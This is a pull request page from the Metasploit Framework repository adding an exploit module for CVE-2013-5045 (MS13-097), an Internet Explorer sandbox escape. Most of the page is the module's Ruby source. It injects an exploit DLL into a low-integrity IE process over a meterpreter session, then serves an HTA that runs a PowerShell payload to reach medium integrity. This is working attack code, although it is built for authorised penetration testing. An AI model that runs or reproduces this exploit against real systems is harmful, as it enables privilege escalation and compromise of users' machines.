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Add module for CVE-2013-5045 #3403

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merged 8 commits into from
Jun 26, 2014
Merged

Add module for CVE-2013-5045 #3403

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6e122e6
Add module for CVE-2013-5045
jvazquez-r7 May 29, 2014
03889ed
Use cmd_psh_payload
jvazquez-r7 May 29, 2014
e215bd6
Delete unnecessary code and use get_env
jvazquez-r7 May 30, 2014
3ae4a16
Clean environment variables
jvazquez-r7 May 30, 2014
4840a05
Update from rapid7 master
jvazquez-r7 Jun 2, 2014
f918bcc
Use powershell instead of mshta
jvazquez-r7 Jun 3, 2014
98a06b3
Restore make.msbuild
jvazquez-r7 Jun 3, 2014
372a12b
Restore make.msbuild permissions
jvazquez-r7 Jun 3, 2014
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Binary file added data/exploits/CVE-2013-5045/CVE-2013-5045.dll
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135 changes: 135 additions & 0 deletions modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
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Original file line number Diff line number Diff line change
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Priv

def initialize(info={})
super( update_info( info,
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
'Description' => %q{
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
component, which can be abused to force medium integrity IE to user influenced keys.
By using registry symlinks it's possible force IE to add a policy entry in the registry
and finally bypass Enhanced Protected Mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Vulnerability Discovery and original exploit code
'juan vazquez' # metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'IE 8 - 11', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 10 2013",
'References' =>
[
['CVE', '2013-5045'],
['MSB', 'MS13-097'],
['BID', '64115'],
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
]
))

register_options(
[
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
])
end

def exploit
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
if mod_handle['return'] == 0
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
end

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
end

begin
Timeout.timeout(datastore['DELAY']) { super }
rescue Timeout::Error
end
end

def primer
hta_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", hta_uri)

html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

temp = session.sys.config.getenv('TEMP')
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get_env


print_status("Loading Exploit Library...")

session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end

def on_request_uri(cli, request)
if request.uri =~ /\.hta$/
print_status("Sending hta...")
hta = <<-eos
<script>
var command = "#{cmd_psh_payload(payload.encoded).strip}";
var shell = new ActiveXObject("WScript.Shell");
shell.Run(command);
</script>
eos
send_response(cli, hta, {'Content-Type'=>'application/hta'})
elsif request.uri =~ /\.html$/
print_status("Sending window close html...")
close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
eos
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
else
send_not_found(cli)
end
end

def get_dll
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This is never called?

path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll")
dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

dll
end

end